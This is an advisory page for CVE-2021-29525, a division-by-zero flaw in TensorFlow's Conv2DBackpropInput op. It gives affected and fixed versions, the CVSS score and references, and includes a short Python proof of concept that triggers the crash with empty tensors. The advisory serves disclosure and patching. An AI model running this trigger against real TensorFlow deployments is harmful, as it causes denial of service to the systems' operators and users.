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CVE-2021-29525: Division by 0 in `Conv2DBackpropInput`

May 21, 2021 (updated October 30, 2024)

An attacker can trigger a division by 0 in tf.raw_ops.Conv2DBackpropInput:

import tensorflow as tf

input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,
out_backprop=out_backprop, strides=[1, 1, 1, 1],
use_cudnn_on_gpu=True, padding='SAME',
explicit_paddings=[], data_format='NHWC',
dilations=[1, 1, 1, 1])

References

  • github.com/advisories/GHSA-xm2v-8rrw-w9pm
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-453.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-651.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-162.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-xm2v-8rrw-w9pm
  • nvd.nist.gov/vuln/detail/CVE-2021-29525

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-369: Divide By Zero

Source file

pypi/tensorflow-gpu/CVE-2021-29525.yml

Spotted a mistake? Edit the file on GitLab.

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